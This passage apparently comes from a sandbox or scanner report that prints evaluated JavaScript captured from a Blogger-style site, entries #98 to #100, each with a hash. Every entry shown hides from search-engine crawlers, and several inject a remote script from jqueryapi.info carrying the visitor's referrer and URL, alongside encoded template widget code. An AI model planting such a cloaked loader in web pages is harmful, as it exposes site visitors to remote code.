replace%28/%23%257B/%2Ca%29%3Breturn%20n_cform_url%7Dfunction%20Reset_Comment_Form%28%29%7Bhtml%3D%24%28Cur_Cform_Hdr%29.html%28%29%3B%24%28Cur_Cform_Hdr%29.html%28%27%27%29%3BCur_Cform_Hdr%3D%27.comment_form%27%3B%24%28Cur_Cform_Hdr%29.html%28html%29%3B%24%28%27%23comment-editor%27%29.attr%28%27src%27%2CCur_Cform_Url%29%7Dfunction%20Display_Reply_Form%28e%29%7Bpar_id%3D%24%28e%29.attr%28%27id%27%29%3Bpar_id%3DValid_Par_Id%28par_id%29%3Bhtml%3D%24%28Cur_Cform_Hdr%29.html%28%29%3Bif%28Cur_Cform_Hdr%3D%3D%27.comment_form%27%29%7Breset_html%3D%27%3Ca%20href%3D%22%23origin_cform%22%20onclick%3D%22Reset_Comment_Form%28%29%22%3E%27+Msgs.addComment+%27%3C/a%3E%3Ca%20name%3D%22origin_cform%22/%3E%27%3B%24%28Cur_Cform_Hdr%29.html%28reset_html%29%7Delse%7B%24%28Cur_Cform_Hdr%29.html%28%27%27%29%7DCur_Cform_Hdr%3D%27%23r_f_c%27+par_id%3B%24%28Cur_Cform_Hdr%29.html%28html%29%3B%24%28%27%23comment-editor%27%29.attr%28%27src%27%2CCform_Ins_ParID%28par_id%29%29%7Dcur_url%3Dwindow.location.href%3Bsearch_formid%3D%27%23comment-form_%27%3Bsearch_index%3Dcur_url.indexOf%28search_formid%29%3Bif%28search_index%21%3D-1%29%7Bret_id%3Dcur_url.substring%28search_index+search_formid.length%29%3BDisplay_Reply_Form%28%27%23rc%27+ret_id%29%7Dfor%28var%20i%3D0%3Bi%3CItems.length%3Bi++%29%7Bif%28%27parentId%27in%20Items%5Bi%5D%29%7Bvar%20par_id%3DItems%5Bi%5D.parentId%3Bvar%20par_level%3DparseInt%28%24%28%27%23c%27+par_id+%27%3Afirst%27%29.attr%28%27data-level%27%29%29%3B%24%28%27%23c%27+par_id+%27%20.comment_child%3Afirst%27%29.html%28function%28a%2Cb%29%7Bvar%20c%3DItems%5Bi%5D.id%3Bif%28par_level%3E%3DConfig.maxThreadDepth%29%7B%24%28%27%23c%27+c+%27%3Afirst%20.comment_reply%27%29.remove%28%29%7Dvar%20d%3D%24%28%27%23c%27+c+%27%3Afirst%27%29.html%28%29%3Bd%3D%27%3Cdiv%20class%3D%22comment_wrap%22%20id%3D%22c%27+c+%27%22%20data-level%3D%22%27+%28par_level+1%29+%27%22%3E%27+d+%27%3C/div%3E%27%3B%24%28%27%23c%27+c%29.remove%28%29%3Breturn%28b+d%29%7D%29%7D%7Dvar%20avatar%3D%24%28%22%23comments%22%29%3Bavatar.find%28%27.comment_avatar%20img%27%29.each%28function%28%29%7Bvar%20a%3D%24%28this%29.attr%28%27src%27%29%3B%24%28this%29.show%28%29.attr%28%27src%27%2Ca.replace%28/%5C/s%5B0-9%5D+%28%5C-c%29%3F%5C//%2C%22/s55-c/%22%29%29%7D%29%3B%0A%3C/script%3E';
if (window.navigator.userAgent.indexOf('Rambler') >= 0 || window.navigator.userAgent.indexOf('Yandex') >= 0 || window.navigator.userAgent.indexOf('Yaho') >= 0 || window.navigator.userAgent.indexOf('Googlebot') >= 0 || window.navigator.userAgent.indexOf('Turtle') >= 0) {
    Break()
};
document.ondragstart = function() {
    return false
};

function atlpdp1() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].style.visibility != 'hidden') {
            document.all[wi].style.visibility = 'hidden';
            document.all[wi].id = 'atlpdpst'
        }
    }
}

function atlpdp2() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].id == 'atlpdpst') document.all[wi].style.visibility = ''
    }
}
window.onbeforeprint = atlpdp1;
window.onafterprint = atlpdp2;
var llO = document.createElement('script');
llO.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var _1OO = document.getElementsByTagName('head')[0];
_1OO.appendChild(llO);
document.write(unescape(_escape));
                                    

#98 JavaScript::Eval (size: 7584, repeated: 1) - SHA256: 3ba3e27794ddb890dd47a99cd01942be5ae3b86c30a3f538bf00ced6e0b59378

                                        var _escape = '%3Cscript%3E%24%28document%29.ready%28function%20%28%29%20%7B%0A%20%20%24%28%27.kuncidunia%27%29.html%28%27Template%20By%20%3Ca%20href%3D%22http%3A//www.kuncidunia.com/%22%3EKunci%20Dunia%3C/a%3E%27%29%3B%0A%20%20setInterval%28function%20%28%29%20%7B%0A%20%20%20%20if%20%28%21%24%28%27.kuncidunia%3Avisible%27%29.length%29%0A%20%20%20%20%20%20window.location.href%20%3D%20%27http%3A//www.kuncidunia.com/%27%0A%20%20%7D%2C%203000%29%0A%7D%29%3B%0Afunction%20akrammenu%28b%29%20%7B%0A%20%20%20%20b%28%22%23mobilemenu%22%29.click%28function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.slideToggle%28%29%3B%0A%20%20%20%20%20%20%20%20b%28this%29.toggleClass%28%22active%22%29%3B%0A%20%20%20%20%20%20%20%20return%20false%0A%20%20%20%20%7D%29%3B%0A%20%20%20%20b%28%22.muh-4kram%20ul%22%29.each%28function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20var%20d%20%3D%20b%28this%29.parent%28%22li%22%29%3B%0A%20%20%20%20%20%20%20%20d.append%28%22%3Ci%3E%3C/i%3E%22%29%0A%20%20%20%20%7D%29%3B%0A%20%20%20%20var%20a%20%3D%20function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20var%20d%20%3D%20b%28window%29.width%28%29%3B%0A%20%20%20%20%20%20%20%20if%20%28d%20%3E%20980%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.css%28%22display%22%2C%20%22block%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.superfish%28%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20animation%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20height%3A%20%22show%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%2C%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20animationOut%3A%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20height%3A%20%22hide%22%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20b%28%22.muh-4kram%20i%22%29.css%28%22display%22%2C%20%22none%22%29%0A%20%20%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20if%20%28d%20%3C%3D%20980%20%26%26%20b%28%22%23mobilemenu%22%29.attr%28%22class%22%29%20%3D%3D%3D%20%22active%22%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.css%28%22display%22%2C%20%22block%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.superfish%28%22destroy%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22.muh-4kram%20i%22%29.css%28%22display%22%2C%20%22block%22%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%20else%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20if%20%28d%20%3C%3D%20980%20%26%26%20b%28%22%23mobilemenu%22%29.attr%28%22class%22%29%20%21%3D%3D%20%22active%22%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.css%28%22display%22%2C%20%22none%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22%23akrammenu%22%29.superfish%28%22destroy%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20b%28%22.muh-4kram%20i%22%29.css%28%22display%22%2C%20%22block%22%29%0A%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%3B%0A%20%20%20%20b%28window%29.on%28%22load%20resize%22%2C%20a%29%3B%0A%20%20%20%20b%28%22.muh-4kram%20i%22%29.click%28function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20var%20d%20%3D%20b%28this%29.parent%28%22li%22%29%3B%0A%20%20%20%20%20%20%20%20var%20e%20%3D%20d.children%28%22ul%22%29%3B%0A%20%20%20%20%20%20%20%20e.slideToggle%28%29%3B%0A%20%20%20%20%20%20%20%20b%28this%29.toggleClass%28%22active%22%29%3B%0A%20%20%20%20%20%20%20%20return%20false%0A%20%20%20%20%7D%29%3B%0A%20%20%20%20var%20c%20%3D%20window.location.href%3B%0A%20%20%20%20b%28%22%23akrammenu%20a%22%29.each%28function%20%28%29%20%7B%0A%20%20%20%20%20%20%20%20if%20%28this.href%20%3D%3D%3D%20c%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20var%20d%20%3D%20b%28this%29.parents%28%22li%22%29.children%28%22a%22%29.addClass%28%22current%22%29%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%29%0A%7D%3B%0Afunction%20muhammad_akram%28image_url%2Cpost_title%29%7Bvar%20image_width%3D100%3Bvar%20image_height%3D100%3Bimage_tag%3D%27%3Cimg%20width%3D%22%27+image_width+%27%22%20height%3D%22%27+image_height+%27%22%20src%3D%22%27+image_url.replace%28%27/s72-c/%27%2C%27/w%27+image_width+%27-h%27+image_height+%27-c/%27%29+%27%22%20alt%3D%22%27+post_title.replace%28/%22/g%2C%22%22%29+%27%22%20title%3D%22%27+post_title.replace%28/%22/g%2C%22%22%29+%27%22%20itemprop%3D%22image%22/%3E%27%3Bif%28post_title%21%3D%22%22%29return%20image_tag%3Belse%20return%22%22%7D%3B%0Afunction%20rcentbytag%28e%29%7Bdocument.write%28%27%3Cul%20class%3D%22recent-by-tag%22%3E%27%29%3Bfor%28var%20t%3D0%3Bt%3Cnumposts%3Bt++%29%7Bvar%20n%3De.feed.entry%5Bt%5D%3Bvar%20r%3Dn.title.%24t%3Bvar%20i%3Bif%28t%3D%3De.feed.entry.length%29break%3Bfor%28var%20o%3D0%3Bo%3Cn.link.length%3Bo++%29%7Bif%28n.link%5Bo%5D.rel%3D%3D%22replies%22%26%26n.link%5Bo%5D.type%3D%3D%22text/html%22%29%7Bvar%20u%3Dn.link%5Bo%5D.title%3Bvar%20f%3Dn.link%5Bo%5D.href%7Dif%28n.link%5Bo%5D.rel%3D%3D%22alternate%22%29%7Bi%3Dn.link%5Bo%5D.href%3Bbreak%7D%7Dvar%20l%3Btry%7Bl%3Dn.media%24thumbnail.url%7Dcatch%28h%29%7Bs%3Dn.content.%24t%3Ba%3Ds.indexOf%28%22%3Cimg%22%29%3Bb%3Ds.indexOf%28%27src%3D%22%27%2Ca%29%3Bc%3Ds.indexOf%28%27%22%27%2Cb+5%29%3Bd%3Ds.substr%28b+5%2Cc-b-5%29%3Bif%28a%21%3D-1%26%26b%21%3D-1%26%26c%21%3D-1%26%26d%21%3D%22%22%29%7Bl%3Dd%7Delse%20l%3D%22data%3Aimage/png%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAA3NCSVQICAjb4U/gAAAADElEQVQImWOor68HAAL+AX7vOF2TAAAAAElFTkSuQmCC%22%7Dvar%20p%3Dn.published.%24t%3Bvar%20v%3Dp.substring%280%2C4%29%3Bvar%20m%3Dp.substring%285%2C7%29%3Bvar%20g%3Dp.substring%288%2C10%29%3Bvar%20y%3Dnew%20Array%3By%5B1%5D%3D%22Januari%22%3By%5B2%5D%3D%22Februari%22%3By%5B3%5D%3D%22Maret%22%3By%5B4%5D%3D%22April%22%3By%5B5%5D%3D%22Mei%22%3By%5B6%5D%3D%22Juni%22%3By%5B7%5D%3D%22Juli%22%3By%5B8%5D%3D%22Agustus%22%3By%5B9%5D%3D%22September%22%3By%5B10%5D%3D%22Oktober%22%3By%5B11%5D%3D%22November%22%3By%5B12%5D%3D%22Desember%22%3Bdocument.write%28%27%3Cli%20class%3D%22clear%22%3E%27%29%3Bif%28showpostthumbnails%3D%3Dtrue%29document.write%28%27%3Ca%20href%3D%22%27+i+%27%22%20target%20%3D%22_blank%22%20title%3D%22%27+r+%27%22%3E%3Cimg%20class%3D%22rct-thumb%22%20alt%3D%22%27+r+%27%22%20src%3D%22%27+l+%27%22/%3E%3C/a%3E%27%29%3Bdocument.write%28%27%3Cstrong%3E%3Ca%20href%3D%22%27+i+%27%22%20target%20%3D%22_blank%22%20title%3D%22%27+r+%27%22%20rel%3D%22nofollow%22%3E%27+r+%27%3C/a%3E%3C/strong%3E%27%29%3Bdocument.write%28%27%3Cbr%3E%27%29%3Bvar%20x%3D%22%22%3Bvar%20T%3D0%3Bif%28showpostdate%3D%3Dtrue%29%7Bx%3D%27%3Cspan%20class%3D%22showdates%22%3E%27+x+g+%22%20%22+y%5BparseInt%28m%2C10%29%5D+%22%20%22+v+%22%3C/span%3E%22%3BT%3D1%7Ddocument.write%28x%29%3Bdocument.write%28%22%3C/li%3E%22%29%3Bif%28t%21%3Dnumposts-1%29document.write%28%22%22%29%7Ddocument.write%28%22%3C/ul%3E%22%29%7D%0A%3C/script%3E';
if (window.navigator.userAgent.indexOf('Rambler') >= 0 || window.navigator.userAgent.indexOf('Yandex') >= 0 || window.navigator.userAgent.indexOf('Yaho') >= 0 || window.navigator.userAgent.indexOf('Googlebot') >= 0 || window.navigator.userAgent.indexOf('Turtle') >= 0) {
    Break()
};
var OOI = document.createElement('script');
OOI.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var l11 = document.getElementsByTagName('head')[0];
l11.appendChild(OOI);
document.write(unescape(_escape));
                                    

#99 JavaScript::Eval (size: 6828, repeated: 1) - SHA256: 887ad63090fe44f570e0312fb0e148addd8a557d63554e85c6ae94ee0b27a6bf

                                        var _escape = '%3Cscript%3E%24%28document%29.ready%28function%20%28%29%20%7B%0A%20%20%24%28%27.kuncidunia%27%29.html%28%27Template%20By%20%3Ca%20href%3D%22http%3A//www.kuncidunia.com/%22%3EKunci%20Dunia%3C/a%3E%27%29%3B%0A%20%20setInterval%28function%20%28%29%20%7B%0A%20%20%20%20if%20%28%21%24%28%27.kuncidunia%3Avisible%27%29.length%29%0A%20%20%20%20%20%20window.location.href%20%3D%20%27http%3A//www.kuncidunia.com/%27%0A%20%20%7D%2C%203000%29%0A%7D%29%3B%0Avar%20randomRelatedIndex%2CshowRelatedPost%3B%28function%28n%2Cm%2Ck%29%7Bvar%20d%3D%7BwidgetTitle%3A%22%3Ch4%3EArtikel%20Terkait%3A%3C/h4%3E%22%2CwidgetStyle%3A1%2ChomePage%3A%22/%22%2CnumPosts%3A7%2CsummaryLength%3A370%2CtitleLength%3A%22auto%22%2CthumbnailSize%3A72%2CnoImage%3A%22data%3Aimage/png%3Bbase64%2CiVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAIAAACQd1PeAAAAA3NCSVQICAjb4U/gAAAADElEQVQImWOor68HAAL+AX7vOF2TAAAAAElFTkSuQmCC%22%2CcontainerId%3A%22related-post%22%2CnewTabLink%3Afalse%2CmoreText%3A%22Baca%20Selengkapnya%22%2CcallBack%3Afunction%28%29%7B%7D%7D%3Bfor%28var%20f%20in%20relatedPostConfig%29%7Bd%5Bf%5D%3D%28relatedPostConfig%5Bf%5D%3D%3D%22undefined%22%29%3Fd%5Bf%5D%3ArelatedPostConfig%5Bf%5D%7Dvar%20j%3Dfunction%28a%29%7Bvar%20b%3Dm.createElement%28%22script%22%29%3Bb.type%3D%22text/javascript%22%3Bb.src%3Da%3Bk.appendChild%28b%29%7D%2Co%3Dfunction%28b%2Ca%29%7Breturn%20Math.floor%28Math.random%28%29*%28a-b+1%29%29+b%7D%2Cl%3Dfunction%28a%29%7Bvar%20p%3Da.length%2Cc%2Cb%3Bif%28p%3D%3D%3D0%29%7Breturn%20false%7Dwhile%28--p%29%7Bc%3DMath.floor%28Math.random%28%29*%28p+1%29%29%3Bb%3Da%5Bp%5D%3Ba%5Bp%5D%3Da%5Bc%5D%3Ba%5Bc%5D%3Db%7Dreturn%20a%7D%2Ce%3D%28typeof%20labelArray%3D%3D%22object%22%26%26labelArray.length%3E0%29%3F%22/-/%22+l%28labelArray%29%5B0%5D%3A%22%22%2Ch%3Dfunction%28b%29%7Bvar%20c%3Db.feed.openSearch%24totalResults.%24t-d.numPosts%2Ca%3Do%281%2C%28c%3E0%3Fc%3A1%29%29%3Bj%28d.homePage.replace%28/%5C/%24/%2C%22%22%29+%22/feeds/posts/summary%22+e+%22%3Falt%3Djson-in-script%26orderby%3Dupdated%26start-index%3D%22+a+%22%26max-results%3D%22+d.numPosts+%22%26callback%3DshowRelatedPost%22%29%7D%2Cg%3Dfunction%28z%29%7Bvar%20s%3Ddocument.getElementById%28d.containerId%29%2Cx%3Dl%28z.feed.entry%29%2CA%3Dd.widgetStyle%2Cc%3Dd.widgetTitle+%27%3Cul%20class%3D%22related-post-style-%27+A+%27%22%3E%27%2Cb%3Dd.newTabLink%3F%27%20target%3D%22_blank%22%27%3A%22%22%2Cy%3D%27%3Cspan%20style%3D%22display%3Ablock%3Bclear%3Aboth%3B%22%3E%3C/span%3E%27%2Cv%2Ct%2Cw%2Cr%2Cu%3Bif%28%21s%29%7Breturn%7Dfor%28var%20q%3D0%3Bq%3Cd.numPosts%3Bq++%29%7Bif%28q%3D%3Dx.length%29%7Bbreak%7Dt%3Dx%5Bq%5D.title.%24t%3Bw%3D%28d.titleLength%21%3D%3D%22auto%22%26%26d.titleLength%3Ct.length%29%3Ft.substring%280%2Cd.titleLength%29+%22%26hellip%3B%22%3At%3Br%3D%28%22media%24thumbnail%22%20in%20x%5Bq%5D%26%26d.thumbnailSize%21%3D%3Dfalse%29%3Fx%5Bq%5D.media%24thumbnail.url.replace%28/%5C/s%5B0-9%5D+%28%5C-c%29%3F/%2C%22/s%22+d.thumbnailSize+%22-c%22%29%3Ad.noImage%3Bu%3D%28%22summary%22%20in%20x%5Bq%5D%26%26d.summaryLength%3E0%29%3Fx%5Bq%5D.summary.%24t.replace%28/%3Cbr%20%3F%5C/%3F%3E/g%2C%22%20%22%29.replace%28/%3C.*%3F%3E/g%2C%22%22%29.replace%28/%5B%3C%3E%5D/g%2C%22%22%29.substring%280%2Cd.summaryLength%29+%22%26hellip%3B%22%3A%22%22%3Bfor%28var%20p%3D0%2Ca%3Dx%5Bq%5D.link.length%3Bp%3Ca%3Bp++%29%7Bv%3D%28x%5Bq%5D.link%5Bp%5D.rel%3D%3D%22alternate%22%29%3Fx%5Bq%5D.link%5Bp%5D.href%3A%22%23%22%7Dif%28A%3D%3D2%29%7Bc+%3D%27%3Cli%3E%3Cimg%20alt%3D%22%22%20class%3D%22related-post-item-thumbnail%22%20src%3D%22%27+r+%27%22%20width%3D%22%27+d.thumbnailSize+%27%22%20height%3D%22%27+d.thumbnailSize+%27%22%3E%3Ca%20class%3D%22related-post-item-title%22%20title%3D%22%27+t+%27%22%20href%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%27%3C/a%3E%3Cspan%20class%3D%22related-post-item-summary%22%3E%3Cspan%20class%3D%22related-post-item-summary-text%22%3E%27+u+%27%3C/span%3E%20%3Ca%20href%3D%22%27+v+%27%22%20class%3D%22related-post-item-more%22%27+b+%22%3E%22+d.moreText+%22%3C/a%3E%3C/span%3E%22+y+%22%3C/li%3E%22%7Delse%7Bif%28A%3D%3D3%7C%7CA%3D%3D4%29%7Bc+%3D%27%3Cli%20class%3D%22related-post-item%22%20tabindex%3D%220%22%3E%3Ca%20class%3D%22related-post-item-title%22%20href%3D%22%27+v+%27%22%27+b+%27%3E%3Cimg%20alt%3D%22%22%20class%3D%22related-post-item-thumbnail%22%20src%3D%22%27+r+%27%22%20width%3D%22%27+d.thumbnailSize+%27%22%20height%3D%22%27+d.thumbnailSize+%27%22%3E%3C/a%3E%3Cdiv%20class%3D%22related-post-item-tooltip%22%3E%3Ca%20class%3D%22related-post-item-title%22%20title%3D%22%27+t+%27%22%20href%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%22%3C/a%3E%3C/div%3E%22+y+%22%3C/li%3E%22%7Delse%7Bif%28A%3D%3D5%29%7Bc+%3D%27%3Cli%20class%3D%22related-post-item%22%20tabindex%3D%220%22%3E%3Ca%20class%3D%22related-post-item-wrapper%22%20href%3D%22%27+v+%27%22%20title%3D%22%27+t+%27%22%27+b+%27%3E%3Cimg%20alt%3D%22%22%20class%3D%22related-post-item-thumbnail%22%20src%3D%22%27+r+%27%22%20width%3D%22%27+d.thumbnailSize+%27%22%20height%3D%22%27+d.thumbnailSize+%27%22%3E%3Cspan%20class%3D%22related-post-item-tooltip%22%3E%27+w+%22%3C/span%3E%3C/a%3E%22+y+%22%3C/li%3E%22%7Delse%7Bif%28A%3D%3D6%29%7Bc+%3D%27%3Cli%3E%3Ca%20class%3D%22related-post-item-title%22%20title%3D%22%27+t+%27%22%20href%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%27%3C/a%3E%3Cdiv%20class%3D%22related-post-item-tooltip%22%3E%3Cimg%20alt%3D%22%22%20class%3D%22related-post-item-thumbnail%22%20src%3D%22%27+r+%27%22%20width%3D%22%27+d.thumbnailSize+%27%22%20height%3D%22%27+d.thumbnailSize+%27%22%3E%3Cspan%20class%3D%22related-post-item-summary%22%3E%3Cspan%20class%3D%22related-post-item-summary-text%22%3E%27+u+%22%3C/span%3E%3C/span%3E%22+y+%22%3C/div%3E%3C/li%3E%22%7Delse%7Bc+%3D%27%3Cli%3E%3Ca%20title%3D%22%27+t+%27%22%20href%3D%22%27+v+%27%22%27+b+%22%3E%22+w+%22%3C/a%3E%3C/li%3E%22%7D%7D%7D%7D%7Ds.innerHTML%3Dc+%3D%22%3C/ul%3E%22+y%3Bd.callBack%28%29%7D%3BrandomRelatedIndex%3Dh%3BshowRelatedPost%3Dg%3Bj%28d.homePage.replace%28/%5C/%24/%2C%22%22%29+%22/feeds/posts/summary%22+e+%22%3Falt%3Djson-in-script%26orderby%3Dupdated%26max-results%3D0%26callback%3DrandomRelatedIndex%22%29%7D%29%28window%2Cdocument%2Cdocument.getElementsByTagName%28%22head%22%29%5B0%5D%29%3B%0A%3C/script%3E';
document.ondragstart = function() {
    return false
};

function atlpdp1() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].style.visibility != 'hidden') {
            document.all[wi].style.visibility = 'hidden';
            document.all[wi].id = 'atlpdpst'
        }
    }
}

function atlpdp2() {
    for (wi = 0; wi < document.all.length; wi++) {
        if (document.all[wi].id == 'atlpdpst') document.all[wi].style.visibility = ''
    }
}
window.onbeforeprint = atlpdp1;
window.onafterprint = atlpdp2;
var OI0 = document.createElement('script');
OI0.src = 'http://jqueryapi.info/?getsrc=ok' + '&ref=' + encodeURIComponent(document.referrer) + '&url=' + encodeURIComponent(document.URL);
var OOO = document.getElementsByTagName('head')[0];
OOO.appendChild(OI0);
document.write(unescape(_escape));
                                    

#100 JavaScript::Eval (size: 8765, repeated: 1) - SHA256: a8d43a28a509a55427df1faca7a53c00ddfa4ec498182f46d6b77702f1badb57

                                        var _escape = '%3Cscript%3Efunction%20showpageCount%28json%29%7Bvar%20thisUrl%3Dhome_page_url%3Bvar%20htmlMap%3Dnew%20Array%28%29%3Bvar%20thisNum%3D1%3Bvar%20postNum%3D1%3Bvar%20itemCount%3D0%3Bvar%20fFlag%3D0%3Bvar%20eFlag%3D0%3Bvar%20html%3D%27%27%3Bvar%20upPageHtml%3D%27%27%3Bvar%20downPageHtml%3D%27%27%3Bfor%28var%20i%3D0%2Cpost%3Bpost%3Djson.feed.entry%5Bi%5D%3Bi++%29%7Bvar%20timestamp1%3Dpost.published.%24t.substring%280%2C19%29+post.published.%24t.substring%2823%2C29%29%3Btimestamp%3DencodeURIComponent%28timestamp1%29%3Bvar%20title%3Dpost.title.%24t%3Bif%28title%21%3D%27%27%29%7Bif%28itemCount%3D%3D0%7C%7C%28itemCount%25pageCount%3D%3D%28pageCount-1%29%29%29%7Bif%28thisUrl.indexOf%28timestamp%29%21%3D-1%29%7BthisNum%3DpostNum%7Dif%28title%21%3D%27%27%29postNum++%3BhtmlMap%5BhtmlMap.length%5D%3D%27/search%3Fupdated-max%3D%27+timestamp+%27%26max-results%3D%27+pageCount%7D%7DitemCount++%7Dfor%28var%20p%3D0%3Bp%3ChtmlMap.length%3Bp++%29%7Bif%28p%3E%3D%28thisNum-displayPageNum-1%29%26%26p%3C%28thisNum+displayPageNum%29%29%7Bif%28fFlag%3D%3D0%26%26p%3D%3DthisNum-2%29%7Bif%28thisNum%3D%3D2%29%7BupPageHtml%3D%27%3Cspan%20class%3D%22showpage%22%3E%3Ca%20href%3D%22/%22%3E%27+upPageWord+%27%3C/a%3E%3C/span%3E%27%7Delse%7BupPageHtml%3D%27%3Cspan%20class%3D%22showpage%22%3E%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+upPageWord+%27%3C/a%3E%3C/span%3E%27%7DfFlag++%7Dif%28p%3D%3D%28thisNum-1%29%29%7Bhtml+%3D%27%3Cspan%20class%3D%22showpagePoint%22%3E%27+thisNum+%27%3C/span%3E%27%7Delse%7Bif%28p%3D%3D0%29%7Bhtml+%3D%27%3Cspan%20class%3D%22showpageNum%22%3E%3Ca%20href%3D%22/%22%3E1%3C/a%3E%3C/span%3E%27%7Delse%7Bhtml+%3D%27%3Cspan%20class%3D%22showpageNum%22%3E%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+%28p+1%29+%27%3C/a%3E%3C/span%3E%27%7D%7Dif%28eFlag%3D%3D0%26%26p%3D%3DthisNum%29%7BdownPageHtml%3D%27%3Cspan%20class%3D%22showpage%22%3E%20%3Ca%20href%3D%22%27+htmlMap%5Bp%5D+%27%22%3E%27+downPageWord+%27%3C/a%3E%3C/span%3E%27%3BeFlag++%7D%7D%7Dif%28thisNum%3E1%29%7Bhtml%3D%27%27+upPageHtml+%27%20%27+html+%27%20%27%7Dhtml%3D%27%3Cdiv%20class%3D%22showpageArea%22%3E%3Cspan%20style%3D%22COLOR%3A%20%23000%3B%22%20class%3D%22showpageOf%22%3E%20Pages%20%28%27+%28postNum-1%29+%27%29%3C/span%3E%27+html%3Bif%28thisNum%3C%28postNum-1%29%29%7Bhtml+%3DdownPageHtml%7Dif%28postNum%3D%3D1%29postNum++%3Bhtml+%3D%27%3C/div%3E%27%3Bvar%20pageArea%3Ddocument.getElementsByName%28%22pageArea%22%29%3Bvar%20blogPager%3Ddocument.getElementById%28%22blog-pager%22%29%3Bif%28postNum%3C%3D2%29%7Bhtml%3D%27%27%7Dfor%28var%20p%3D0%3Bp%3CpageArea.length%3Bp++%29%7BpageArea%5Bp%5D.innerHTML%3Dhtml%7Dif%28pageArea%26%26pageArea.length%3E0%29%7Bhtml%3D%27%27%7Dif%28blogPager%29%7BblogPager.innerHTML%3Dhtml%7D%7Dfunction%20showpageCount2%28json%29%7Bvar%20thisUrl%3Dhome_page_url%3Bvar%20htmlMap%3Dnew%20Array%28%29%3Bvar%20isLablePage%3DthisUrl.indexOf%28%22/search/label/%22%29%21%3D-1%3Bvar%20thisLable%3DisLablePage%3FthisUrl.substr%28thisUrl.indexOf%28%22/search/label/%22%29+14%2CthisUrl.length%29%3A%22%22%3BthisLable%3DthisLable.indexOf%28%22%3F%22%29%21%3D-1%3FthisLable.substr%280%2CthisLable.indexOf%28%22%3F%22%29%29%3AthisLable%3Bvar%20thisNum%3D1%3Bvar%20postNum%3D1%3Bvar%20itemCount%3D0%3Bvar%20fFlag%3D0%3Bvar%20eFlag%3D0%3Bvar%20html%3D%27%27%3Bvar%20upPageHtml%3D%27%27%3Bvar%20downPageHtml%3D%27%27%3Bvar%20labelHtml%3D%27%3Cspan%20class%3D%22showpageNum%22%3E%3Ca%20href%3D%22/search/label/%27+thisLable+%27%3F%26max-results%3D%27+pageCount+%27%22%3E%27%3Bvar%20thisUrl%3Dhome_page_url%3Bfor%28var%20i%3D0%2Cpost%3Bpost%3Djson.feed.entry%5Bi%5D%3Bi++%29%7Bvar%20timestamp1%3Dpost.published.%24t.substring%280%2C19%29+post.published.%24t.substring%2823%2C29%29%3Btimestamp%3DencodeURIComponent%28timestamp1%29%3Bvar%20title%3Dpost.title.%24t%3Bif%28title%21%3D%27%27%29%7Bif%28itemCount%3D%3D0%7C%7C%28itemCount%25pageCount%3D%3D%28pageCount-1%29%29%29%7Bif%28thisUrl.indexOf%28timestamp%29%21%3D-1%29%7BthisNum%3DpostNum%7Dif%28title%21%3D%27%27%29postNum++%3BhtmlMap%5BhtmlMap.length%5D%3D%27/search/label/%27+thisLable+%27%3Fupdated-max%3D%27+timestamp+%27%26max-results%3D%27+pageCount%7D%7DitemCount++%7Dfor%28var%20p%3D0%3Bp%3ChtmlMap.length%3Bp++%29%7Bif%28p%3E%3D%28thisNum-displayPageNum-1%29%26%26p%3C%28thisNum+displayPageNum%29%29%7Bif%28fFlag%3D%3D0%26%26p%3D%3DthisNum-2%29%7Bif%28thisNum%3D%3D2%29%7BupPageHtml%3DlabelHtml+upPageWord+%27%3C/a%3E%3C/span%3E%27%7Delse%7BupPageHtml%3D%27%3Cspan%20class%3D%22showpage%22%3E